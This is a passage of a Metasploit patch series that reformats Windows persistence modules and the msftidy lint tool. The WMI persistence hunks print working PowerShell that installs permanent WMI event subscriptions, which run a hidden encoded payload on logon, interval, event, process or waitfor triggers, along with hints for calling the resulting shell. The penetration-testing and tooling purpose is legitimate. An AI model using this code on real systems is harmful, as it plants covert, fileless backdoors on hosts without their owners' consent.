a/modules/persistence/windows/s4u_persistence.rb +++ b/modules/persistence/windows/s4u_persistence.rb @@ -214,11 +214,11 @@ def add_xml_triggers(xml) when 'schedule' # Change interval tag, insert into XML - unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0 - minutes = datastore['FREQUENCY'] - else + if datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0 print_status('Defaulting frequency to every hour') minutes = 60 + else + minutes = datastore['FREQUENCY'] end xml = xml.sub(/.*?PT#{minutes}M<") diff --git a/modules/persistence/windows/wmi_persistence.rb b/modules/persistence/windows/wmi_persistence.rb index 43799d70e631..f7606cb1f82a 100644 --- a/modules/persistence/windows/wmi_persistence.rb +++ b/modules/persistence/windows/wmi_persistence.rb @@ -12,9 +12,11 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File def initialize(info = {}) - super(update_info(info, - 'Name' => 'WMI Event Subscription Persistence', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WMI Event Subscription Persistence', + 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing @@ -29,164 +31,158 @@ def initialize(info = {}) activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, - 'Author' => ['Nick Tyrer <@NickTyrer>'], - 'License' => MSF_LICENSE, - 'Privileged' => true, - 'Platform' => 'win', - 'SessionTypes' => ['meterpreter'], - 'Targets' => [['Windows', {}]], - 'DisclosureDate' => '2017-06-06', - 'DefaultTarget' => 0, - 'DefaultOptions' => - { + 'Author' => ['Nick Tyrer <@NickTyrer>'], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'Targets' => [['Windows', {}]], + 'DisclosureDate' => '2017-06-06', + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'DisablePayloadHandler' => true }, - 'References' => [ - ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], - ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] - ] - )) + 'References' => [ + ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], + ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] + ] + ) + ) register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), + [true, 'Method to trigger the payload.', 'EVENT', ['EVENT', 'INTERVAL', 'LOGON', 'PROCESS', 'WAITFOR']]), OptInt.new('EVENT_ID_TRIGGER', - [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), + [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', - [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), + [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), OptString.new('PROCESS_TRIGGER', - [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), + [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), OptString.new('WAITFOR_TRIGGER', - [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), + [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), OptInt.new('CALLBACK_INTERVAL', - [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), + [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), OptString.new('CLASSNAME', - [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) + [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) ]) register_advanced_options( [ OptString.new('CUSTOM_PS_COMMAND', - [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), - ]) + [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), + ] + ) end - def exploit - unless have_powershell? - print_error("This module requires powershell to run") + unless have_powershell? + print_error('This module requires powershell to run') return - end + end - unless is_admin? - print_error("This module requires admin privs to run") + unless is_admin? + print_error('This module requires admin privs to run') return - end + end - unless is_high_integrity? - print_error("This module requires UAC to be bypassed first") + unless is_high_integrity? + print_error('This module requires UAC to be bypassed first') return - end + end - if is_system? - print_error("This module cannot run as System") + if is_system? + print_error('This module cannot run as System') return - end + end - host = session.session_host - print_status('Installing Persistence...') + host = session.session_host + print_status('Installing Persistence...') - case datastore['PERSISTENCE_METHOD'] + case datastore['PERSISTENCE_METHOD'] when 'LOGON' psh_exec(subscription_logon) - print_good "Persistence installed!" + print_good 'Persistence installed!' remove_persistence when 'INTERVAL' psh_exec(subscription_interval) - print_good "Persistence installed!" + print_good 'Persistence installed!' remove_persistence when 'EVENT' psh_exec(subscription_event) - print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U " + datastore['USERNAME_TRIGGER'] + ' "' remove_persistence when 'PROCESS' psh_exec(subscription_process) - print_good "Persistence installed!" + print_good 'Persistence installed!' remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) - print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" + print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI " + datastore['WAITFOR_TRIGGER'] + '"' remove_persistence end - end - + end def build_payload if datastore['CUSTOM_PS_COMMAND'] script_in = datastore['CUSTOM_PS_COMMAND'] - compressed_script = compress_script(script_in, eof = nil) - encoded_script = encode_script(compressed_script, eof = nil) + compressed_script = compress_script(script_in, nil) + encoded_script = encode_script(compressed_script, nil) generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script) else cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) end end - def subscription_logon - command = build_payload - class_name = datastore['CLASSNAME'] - <<-HEREDOC + command = build_payload + class_name = datastore['CLASSNAME'] + <<-HEREDOC $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + HEREDOC end - def subscription_interval - command = build_payload - class_name = datastore['CLASSNAME'] - callback_interval = datastore['CALLBACK_INTERVAL'] - <<-HEREDOC + command = build_payload + class_name = datastore['CLASSNAME'] + callback_interval = datastore['CALLBACK_INTERVAL'] + <<-HEREDOC $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + HEREDOC end - def subscription_event - command = build_payload - event_id = datastore['EVENT_ID_TRIGGER'] - username = datastore['USERNAME_TRIGGER'] - class_name = datastore['CLASSNAME'] - <<-HEREDOC + command = build_payload + event_id = datastore['EVENT_ID_TRIGGER'] + username = datastore['USERNAME_TRIGGER'] + class_name = datastore['CLASSNAME'] + <<-HEREDOC $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + HEREDOC end - def subscription_process - command = build_payload - class_name = datastore['CLASSNAME'] - process_name = datastore['PROCESS_TRIGGER'] - <<-HEREDOC + command = build_payload + class_name = datastore['CLASSNAME'] + process_name = datastore['PROCESS_TRIGGER'] + <<-HEREDOC $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + HEREDOC end - def subscription_waitfor - command = build_payload - word = datastore['WAITFOR_TRIGGER'] - class_name = datastore['CLASSNAME'] - <<-HEREDOC + command = build_payload + word = datastore['WAITFOR_TRIGGER'] + class_name = datastore['CLASSNAME'] + <<-HEREDOC $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} @@ -194,37 +190,35 @@ def subscription_waitfor $Consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} Start-Process -FilePath waitfor.exe #{word} -NoNewWindow - HEREDOC + HEREDOC end - def log_file host = session.session_host - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) + Rex::FileUtils.clean_path(host + filenameinfo)) ::FileUtils.mkdir_p(logs) - logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') + ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') end - def remove_persistence name_class = datastore['CLASSNAME'] clean_rc = log_file - if datastore['PERSISTENCE_METHOD'] == "WAITFOR" - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - else - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - end + if datastore['PERSISTENCE_METHOD'] == 'WAITFOR' + clean_up_rc = '' + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + else + clean_up_rc = '' + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + end file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") end From e3545f309e29d40b18cde44931b5b33d2a14a98d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 17 Jan 2025 16:48:41 -0500 Subject: [PATCH 03/94] msftidy changes for persistence folder --- tools/dev/msftidy.rb | 274 +++++++++++++++++++++---------------------- 1 file changed, 137 insertions(+), 137 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 668d84509c30..47fb0fdd0e2b 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -20,7 +20,7 @@ if CHECK_OLD_RUBIES require 'rvm' - warn "This is going to take a while, depending on the number of Rubies you have installed." + warn 'This is going to take a while, depending on the number of Rubies you have installed.' end class String @@ -116,7 +116,7 @@ def new_modules_for(commit) diff_summary = raw_diff_summary.lines.map do |line| status, file = line.split(' ').each(&:strip) - { status: status, file: file} + { status: status, file: file } end diff_summary.each_with_object([]) do |summary, acc| @@ -130,23 +130,23 @@ def new_modules_for(commit) class MsftidyRunner # Status codes - OK = 0 - WARNING = 1 - ERROR = 2 + OK = 0 + WARNING = 1 + ERROR = 2 # Some compiles regexes - REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ + REGEX_MSF_EXPLOIT = / < Msf::Exploit/ REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file - @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1] - @source = load_file(source_file) - @lines = @source.lines # returns an enumerator - @status = OK - @name = File.basename(source_file) + @module_type = File.dirname(File.expand_path(@full_filepath))[%r{/modules/([^/]+)}, 1] + @source = load_file(source_file) + @lines = @source.lines # returns an enumerator + @status = OK + @name = File.basename(source_file) end public @@ -158,7 +158,8 @@ def initialize(source_file) # # @return status [Integer] Returns WARNINGS unless we already have an # error. - def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' + def warn(txt, line = 0) + line_msg = (line > 0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}" @status = WARNING if @status < WARNING end @@ -169,24 +170,25 @@ def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' # really ought to be fixed. # # @return status [Integer] Returns ERRORS - def error(txt, line=0) - line_msg = (line>0) ? ":#{line}" : '' + def error(txt, line = 0) + line_msg = (line > 0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}" @status = ERROR if @status < ERROR end # Currently unused, but some day msftidy will fix errors for you. - def fixed(txt, line=0) - line_msg = (line>0) ? ":#{line}" : '' + def fixed(txt, line = 0) + line_msg = (line > 0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}" end # # Display an info message. Info messages do not alter the exit status. # - def info(txt, line=0) + def info(txt, line = 0) return if SUPPRESS_INFO_MESSAGES - line_msg = (line>0) ? ":#{line}" : '' + + line_msg = (line > 0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" end @@ -198,7 +200,7 @@ def info(txt, line=0) def check_shebang if @lines.first =~ /^#!/ - warn("Module should not have a #! line") + warn('Module should not have a #! line') end end @@ -210,7 +212,7 @@ def check_shebang # can avoid Nokogiri (most modules use regex anyway), but more complex # checks tends to require Nokogiri for HTML element and value parsing. def check_nokogiri - msg = "Using Nokogiri in modules can be risky, use REXML instead." + msg = 'Using Nokogiri in modules can be risky, use REXML instead.' has_nokogiri = false has_nokogiri_xml_parser = false @lines.each do |line| @@ -227,15 +229,15 @@ def check_nokogiri end def check_ref_identifiers - in_super = false - in_refs = false - in_notes = false + in_super = false + in_refs = false + in_notes = false cve_assigned = false @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + elsif in_super and line =~ /[[:space:]]*def \w+[(\w+)]*/ in_super = false break end @@ -247,47 +249,47 @@ def check_ref_identifiers elsif in_super and line =~ /["']Notes["'][[:space:]]*=>/ in_notes = true elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ - identifier = $1.strip.upcase - value = $2.strip + identifier = ::Regexp.last_match(1).strip.upcase + value = ::Regexp.last_match(2).strip case identifier when 'CVE' cve_assigned = true - warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4,}$/ + warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}-\d{4,}$/ when 'BID' warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ when 'MSB' - warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ + warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+-\d+$/ when 'MIL' - warn("milw0rm references are no longer supported.") + warn('milw0rm references are no longer supported.') when 'EDB' - warn("Invalid EDB reference") if value !~ /^\d+$/ + warn('Invalid EDB reference') if value !~ /^\d+$/ when 'US-CERT-VU' - warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ + warn('Invalid US-CERT-VU reference') if value !~ /^\d+$/ when 'ZDI' - warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3,4}$/ + warn('Invalid ZDI reference') if value !~ /^\d{2}-\d{3,4}$/ when 'WPVDB' - warn("Invalid WPVDB reference") if value !~ /^\d+$/ and value !~ /^[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}?$/ + warn('Invalid WPVDB reference') if value !~ /^\d+$/ and value !~ /^[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}?$/ when 'PACKETSTORM' - warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ + warn('Invalid PACKETSTORM reference') if value !~ /^\d+$/ when 'URL' - if value =~ /^https?:\/\/cvedetails\.com\/cve/ + if value =~ %r{^https?://cvedetails\.com/cve} warn("Please use 'CVE' for '#{value}'") elsif value =~ %r{^https?://cve\.mitre\.org/cgi-bin/cvename\.cgi} warn("Please use 'CVE' for '#{value}'") - elsif value =~ /^https?:\/\/www\.securityfocus\.com\/bid\// + elsif value =~ %r{^https?://www\.securityfocus\.com/bid/} warn("Please use 'BID' for '#{value}'") - elsif value =~ /^https?:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// + elsif value =~ %r{^https?://www\.microsoft\.com/technet/security/bulletin/} warn("Please use 'MSB' for '#{value}'") - elsif value =~ /^https?:\/\/www\.exploit\-db\.com\/exploits\// + elsif value =~ %r{^https?://www\.exploit-db\.com/exploits/} warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^https?:\/\/www\.kb\.cert\.org\/vuls\/id\// + elsif value =~ %r{^https?://www\.kb\.cert\.org/vuls/id/} warn("Please use 'US-CERT-VU' for '#{value}'") - elsif value =~ /^https?:\/\/wpvulndb\.com\/vulnerabilities\// + elsif value =~ %r{^https?://wpvulndb\.com/vulnerabilities/} warn("Please use 'WPVDB' for '#{value}'") - elsif value =~ /^https?:\/\/wpscan\.com\/vulnerability\// + elsif value =~ %r{^https?://wpscan\.com/vulnerability/} warn("Please use 'WPVDB' for '#{value}'") - elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\// + elsif value =~ %r{^https?://(?:[^.]+\.)?packetstormsecurity\.(?:com|net|org)/} warn("Please use 'PACKETSTORM' for '#{value}'") end when 'AKA' @@ -302,7 +304,8 @@ def check_ref_identifiers end # This helps us track when CVEs aren't assigned - if !cve_assigned && is_exploit_module? + # ignore persistence modules since they will rarely if ever have CVEs + if !cve_assigned && is_exploit_module? && @module_type != 'persistence' info('No CVE references found. Please check before you land!') end end @@ -325,7 +328,7 @@ def check_self_class def check_rubygems @lines.each do |line| if line_has_require?(line, 'rubygems') - warn("Explicitly requiring/loading rubygems is not necessary") + warn('Explicitly requiring/loading rubygems is not necessary') break end end @@ -354,17 +357,17 @@ def check_snake_case_filename def check_comment_splat if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/ - warn("Module contains old license comment.") + warn('Module contains old license comment.') end if @source =~ /^# This module requires Metasploit: http:/ - warn("Module license comment link does not use https:// URL scheme.") + warn('Module license comment link does not use https:// URL scheme.') fixed('# This module requires Metasploit: https://metasploit.com/download', 1) end end def check_old_keywords max_count = 10 - counter = 0 + counter = 0 if @source =~ /^##/ @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. @@ -373,7 +376,7 @@ def check_old_keywords break if counter >= max_count if line =~ /^#[[:space:]]*\$Id\$/i - warn("Keyword $Id$ is no longer needed.") + warn('Keyword $Id$ is no longer needed.') break end @@ -382,21 +385,21 @@ def check_old_keywords end if @source =~ /["']Version["'][[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ - warn("Keyword $Revision$ is no longer needed.") + warn('Keyword $Revision$ is no longer needed.') end end def check_verbose_option if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ - warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") + warn('VERBOSE Option is already part of advanced settings, no need to add it manually.') end end def check_badchars - badchars = %Q|&<=>| + badchars = %(&<=>) - in_super = false - in_author = false + in_super = false + in_author = false @lines.each do |line| # @@ -404,7 +407,7 @@ def check_badchars # if !in_super and line =~ /\s+super\(/ in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + elsif in_super and line =~ /[[:space:]]*def \w+[(\w+)]*/ in_super = false break end @@ -414,7 +417,7 @@ def check_badchars # if in_super and line =~ /["']Name["'][[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ # Now we're checking the module titlee - mod_title = $1 + mod_title = ::Regexp.last_match(1) mod_title.each_char do |c| if badchars.include?(c) error("'#{c}' is a bad character in module title.") @@ -437,30 +440,29 @@ def check_badchars in_author = false end - # # While in 'Author' block, check for malformed authors # - if in_super and in_author - if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ - author_name = Regexp.last_match(1) - elsif line =~ /Author/ - author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' - else - author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' - end + next unless in_super and in_author - if author_name =~ /^@.+$/ - error("No Twitter handles, please. Try leaving it in a comment instead.") - end + if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ + author_name = Regexp.last_match(1) + elsif line =~ /Author/ + author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' + else + author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' + end - unless author_name.empty? - author_open_brackets = author_name.scan('<').size - author_close_brackets = author_name.scan('>').size - if author_open_brackets != author_close_brackets - error("Author has unbalanced brackets: #{author_name}") - end - end + if author_name =~ /^@.+$/ + error('No Twitter handles, please. Try leaving it in a comment instead.') + end + + next if author_name.empty? + + author_open_brackets = author_name.scan('<').size + author_close_brackets = author_name.scan('>').size + if author_open_brackets != author_close_brackets + error("Author has unbalanced brackets: #{author_name}") end end end @@ -473,17 +475,18 @@ def check_extname def check_executable if File.executable?(@full_filepath) - error("Module should not be executable (+x)") + error('Module should not be executable (+x)') end end def check_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM + puts "Checking syntax for #{@name}." rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/} - error("Fails alternate Ruby version check") if rubies.size != res.size + res = `rvm all do ruby -c #{@full_filepath}`.split("\n").select { |msg| msg =~ /Syntax OK/ } + error('Fails alternate Ruby version check') if rubies.size != res.size end def is_exploit_module? @@ -496,7 +499,7 @@ def is_exploit_module? msf_exploit_line_no = nil @lines.each_with_index do |line, idx| if line =~ REGEX_MSF_EXPLOIT - # note the line number + # NOTE: the line number msf_exploit_line_no = idx elsif msf_exploit_line_no # check there is anything but empty space between here and the next end @@ -528,9 +531,9 @@ def check_ranking 'ExcellentRanking' ] - if @source =~ /Rank \= (\w+)/ - if not available_ranks.include?($1) - error("Invalid ranking. You have '#{$1}'") + if @source =~ /Rank = (\w+)/ + if !available_ranks.include?(::Regexp.last_match(1)) + error("Invalid ranking. You have '#{::Regexp.last_match(1)}'") end elsif @source =~ /['"](SideEffects|Stability|Reliability)['"]\s*=/ info('No Rank, however SideEffects, Stability, or Reliability are provided') @@ -543,8 +546,8 @@ def check_disclosure_date return if @source =~ /Generic Payload Handler/ # Check disclosure date format - if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+?)['\"]/ - d = $1 #Captured date + if @source =~ /["']DisclosureDate["'].*=>[\x0d\x20]*['"](.+?)['"]/ + d = ::Regexp.last_match(1) # Captured date # Flag if overall format is wrong if d =~ /^... (?:\d{1,2},? )?\d{4}$/ # Flag if month format is wrong @@ -565,17 +568,17 @@ def check_disclosure_date else error('Incorrect disclosure date format') end - else - error('Exploit is missing a disclosure date') if is_exploit_module? + elsif is_exploit_module? + error('Exploit is missing a disclosure date') end end def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @module_type == 'exploits' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + if @module_type == 